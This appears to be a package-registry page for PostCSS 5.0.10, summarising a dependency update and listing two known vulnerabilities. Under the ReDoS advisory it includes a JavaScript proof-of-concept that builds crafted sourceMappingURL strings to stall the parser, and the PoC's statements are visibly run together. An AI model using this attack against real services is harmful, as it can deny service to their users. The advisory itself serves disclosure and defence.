PostCSS version 5.0.10 represents a minor update to the popular CSS transformation tool, building upon version 5.0.9. Both versions share the same core functionality as tools for transforming styles with JavaScript plugins, and are licensed under the MIT license. The primary difference between the two releases lies within their dependencies. Version 5.0.10 updates the "supports-color" dependency from version 3.1.1 to version 3.1.2.
For developers, this upgrade likely signifies a bug fix or minor feature addition within the supports-color package, which determines whether the terminal supports color output. While seemingly small, this change can be important for developers who rely on colored terminal output for debugging and development workflows when using PostCSS plugins that leverage this capability. The core functionalities of PostCSS remain consistent, including its plugin ecosystem and core processing capabilities. Developers already using PostCSS 5.0.9 can likely upgrade to 5.0.10 with minimal risk of breaking changes, benefiting from any improvements present in the updated supports-color dependency. As both versions contain the same devDependencies they provide the same development environment using tools for testing, linting, and building.
All the vulnerabilities related to the version 5.0.10 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.